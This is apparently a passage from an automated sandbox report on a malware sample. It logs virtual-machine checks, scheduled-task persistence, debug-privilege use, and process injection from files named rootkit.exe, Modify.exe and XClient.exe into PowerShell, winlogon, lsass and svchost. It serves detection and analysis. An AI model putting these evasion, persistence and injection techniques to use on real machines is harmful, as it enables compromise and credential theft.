Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs C:\Windows\system32\wbem\wmiprvse.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information C:\Windows\system32\wbem\wmiprvse.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\wmic.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\system32\wbem\wmiprvse.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4952 wrote to memory of 708 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe
PID 4952 wrote to memory of 708 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe
PID 4952 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Users\Admin\AppData\Local\Temp\Modify.exe
PID 4952 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Users\Admin\AppData\Local\Temp\Modify.exe
PID 4952 wrote to memory of 1484 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4952 wrote to memory of 1484 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4952 wrote to memory of 404 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Windows\System32\schtasks.exe
PID 4952 wrote to memory of 404 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Windows\System32\schtasks.exe
PID 2964 wrote to memory of 2864 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2964 wrote to memory of 2864 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4952 wrote to memory of 1372 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\ProgramData\www.DeadSec0000000000-obfusecator.exe
PID 4952 wrote to memory of 1372 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\ProgramData\www.DeadSec0000000000-obfusecator.exe
PID 4952 wrote to memory of 1372 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\ProgramData\www.DeadSec0000000000-obfusecator.exe
PID 2964 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2964 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 708 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 708 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 708 wrote to memory of 968 N/A C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 708 wrote to memory of 968 N/A C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2964 wrote to memory of 4492 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2964 wrote to memory of 4492 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2964 wrote to memory of 2572 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2964 wrote to memory of 2572 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 708 wrote to memory of 316 N/A C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 708 wrote to memory of 316 N/A C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 708 wrote to memory of 1332 N/A C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 708 wrote to memory of 1332 N/A C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2964 wrote to memory of 3632 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\Wbem\wmic.exe
PID 2964 wrote to memory of 3632 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\Wbem\wmic.exe
PID 708 wrote to memory of 388 N/A C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe C:\Windows\System32\schtasks.exe
PID 708 wrote to memory of 388 N/A C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe C:\Windows\System32\schtasks.exe
PID 2964 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 2964 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Users\Admin\AppData\Roaming\XClient.exe
PID 2964 wrote to memory of 4400 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\Wbem\wmic.exe
PID 2964 wrote to memory of 4400 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\Wbem\wmic.exe
PID 2964 wrote to memory of 3616 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2964 wrote to memory of 3616 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2964 wrote to memory of 2076 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\Wbem\wmic.exe
PID 2964 wrote to memory of 2076 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\Wbem\wmic.exe
PID 3876 wrote to memory of 4012 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 3876 wrote to memory of 4012 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 3876 wrote to memory of 4012 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 3876 wrote to memory of 4012 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 3876 wrote to memory of 4012 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 3876 wrote to memory of 4012 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 3876 wrote to memory of 4012 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 3876 wrote to memory of 4012 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 4012 wrote to memory of 612 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\winlogon.exe
PID 4012 wrote to memory of 672 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\lsass.exe
PID 4012 wrote to memory of 960 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 4012 wrote to memory of 384 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\dwm.exe
PID 4012 wrote to memory of 744 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 4012 wrote to memory of 60 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 4012 wrote to memory of 1088 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 4012 wrote to memory of 1100 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 4012 wrote to memory of 1112 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 4012 wrote to memory of 1128 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 4012 wrote to memory of 1264 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 4012 wrote to memory of 1276 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 4012 wrote to memory of 1312 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 4012 wrote to memory of 1416 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 4012 wrote to memory of 1468 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 4012 wrote to memory of 1488 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 4012 wrote to memory of 1556 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\winlogon.exe

winlogon.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM

C:\Windows\system32\dwm.exe

"dwm.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s nsi

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc

C:\Windows\System32\svchost.exe

